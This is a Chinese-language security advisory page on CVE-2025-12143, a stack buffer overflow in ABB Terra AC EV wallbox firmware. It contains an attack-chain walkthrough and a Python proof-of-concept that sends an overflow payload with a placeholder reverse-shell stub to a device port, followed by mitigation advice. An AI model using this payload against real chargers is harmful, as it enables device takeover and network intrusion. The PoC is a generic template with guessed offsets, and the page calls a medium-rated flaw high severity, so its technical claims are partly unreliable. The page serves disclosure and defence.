IPBUF安全漏洞报告
English
CVE-2025-12143 CVSS 6.1 中危

CVE-2025-12143 ABB Terra AC充电桩栈缓冲区溢出漏洞

披露日期: 2025-11-28

漏洞信息

漏洞编号
CVE-2025-12143
漏洞类型
缓冲区溢出
CVSS评分
6.1 中危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ABB Terra AC wallbox

相关标签

缓冲区溢出ABBTerra AC壁挂式充电桩嵌入式设备CVE-2025-12143IoT安全工控安全

漏洞概述

CVE-2025-12143是ABB Terra AC壁挂式充电桩(Wallbox)设备中的一个高危安全漏洞。该漏洞为基于栈的缓冲区溢出(Stack-based Buffer Overflow)类型,存在于Terra AC充电桩的固件中,影响版本至1.8.33。ABB Terra AC是ABB公司生产的电动汽车充电设备,广泛应用于住宅和商业场景。由于攻击向量为邻接网络(Adjacent Network),攻击者需要处于目标设备的网络邻近范围内才能发起攻击。此外,该漏洞要求攻击者具备高权限才能利用,但一旦成功利用,可能导致充电桩服务中断或攻击者获得系统控制权限。CVSS评分6.1,属于中等严重程度,但考虑到攻击者可能获取系统控制权并影响充电桩的正常运行,该漏洞仍需及时修复。ABB公司已发布安全公告并提供修复方案,建议用户尽快升级固件至最新版本以消除安全风险。

技术细节

该漏洞存在于ABB Terra AC wallbox的网络服务组件中,是一个典型的基于栈的缓冲区溢出问题。在固件的网络处理模块中,当处理用户输入或网络数据时,程序未能正确验证输入数据的长度,直接将数据复制到固定大小的栈缓冲区中。当输入数据超过缓冲区容量时,多余的数据会覆盖栈上的其他重要数据,包括函数返回地址、保存的寄存器值等。攻击者通过构造精心设计的超长输入数据,可以覆盖关键内存区域,控制程序执行流程,最终实现任意代码执行。由于该漏洞要求高权限才能利用,攻击者可能需要先通过其他方式获取充电桩的管理员权限或利用配置不当的认证机制。一旦成功利用,攻击者可以完全控制充电桩设备,执行恶意操作或将其作为进一步攻击企业网络的跳板。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过扫描网络发现ABB Terra AC充电桩设备,识别其IP地址和管理端口,收集设备指纹信息
STEP 2
步骤2:权限获取
攻击者通过默认凭证、弱密码或利用其他漏洞获取充电桩的高权限访问权限(如管理员账户)
STEP 3
步骤3:构造恶意负载
攻击者构造包含超长数据的恶意请求,利用栈缓冲区溢出漏洞,覆盖返回地址和关键内存区域
STEP 4
步骤4:代码执行
精心设计的负载成功覆盖栈数据后,程序控制流被劫持,攻击者的shellcode得以执行
STEP 5
步骤5:持久化控制
攻击者在设备上建立后门或获取root权限,实现长期控制,可能进一步横向移动攻击企业网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow # Target: ABB Terra AC Wallbox <= 1.8.33 # Note: This PoC is for educational and authorized testing only import socket import struct def create_exploit_payload(): """ Create buffer overflow payload for ABB Terra AC Adjust offset and shellcode based on target firmware version """ # Target IP and port (typical Terra AC management port) target_ip = "192.168.1.100" target_port = 8080 # Buffer overflow parameters buffer_size = 1024 return_address_offset = 256 # Create NOP sled for reliability nop_sled = b'\x90' * 100 # Shellcode for command execution (example: reverse shell) # ARM/ARM64 shellcode for embedded Linux device shellcode = ( b'\x01\x60\x8f\xe2' # Adjust register context b'\x13\xff\x2f\xe1' # SWI instruction b'\x00\x00\x00\x00' # Placeholder for actual shellcode ) # Padding to reach offset padding = b'A' * (return_address_offset - len(nop_sled) - len(shellcode)) # Overwrite return address (address in NOP sled or shellcode) return_address = struct.pack('<I', 0x00011000) # Adjust based on actual firmware # Additional padding to overflow buffer extra_padding = b'B' * (buffer_size - return_address_offset - len(return_address)) # Combine payload payload = nop_sled + shellcode + padding + return_address + extra_padding return payload def send_exploit(target_ip, target_port): """Send exploit payload to target""" try: payload = create_exploit_payload() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending payload to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") sock.send(payload) response = sock.recv(1024) print(f"[*] Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow") print("=" * 50) print("WARNING: For authorized testing only!") print("=" * 50) # Configuration target = "192.168.1.100" # Change to target IP port = 8080 # Change to target port send_exploit(target, port)

影响范围

ABB Terra AC wallbox <= 1.8.33

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议采取以下临时缓解措施:1) 严格限制对充电桩管理网络的访问,仅允许受信任的管理终端访问;2) 将充电桩部署在独立的网络段,与企业核心网络隔离;3) 启用网络防火墙规则,限制对充电桩管理端口的访问;4) 监控网络流量,及时发现异常行为;5) 定期检查设备日志,排查可疑活动;6) 考虑在网络边界部署入侵检测系统(IDS)监控针对该漏洞的探测和攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表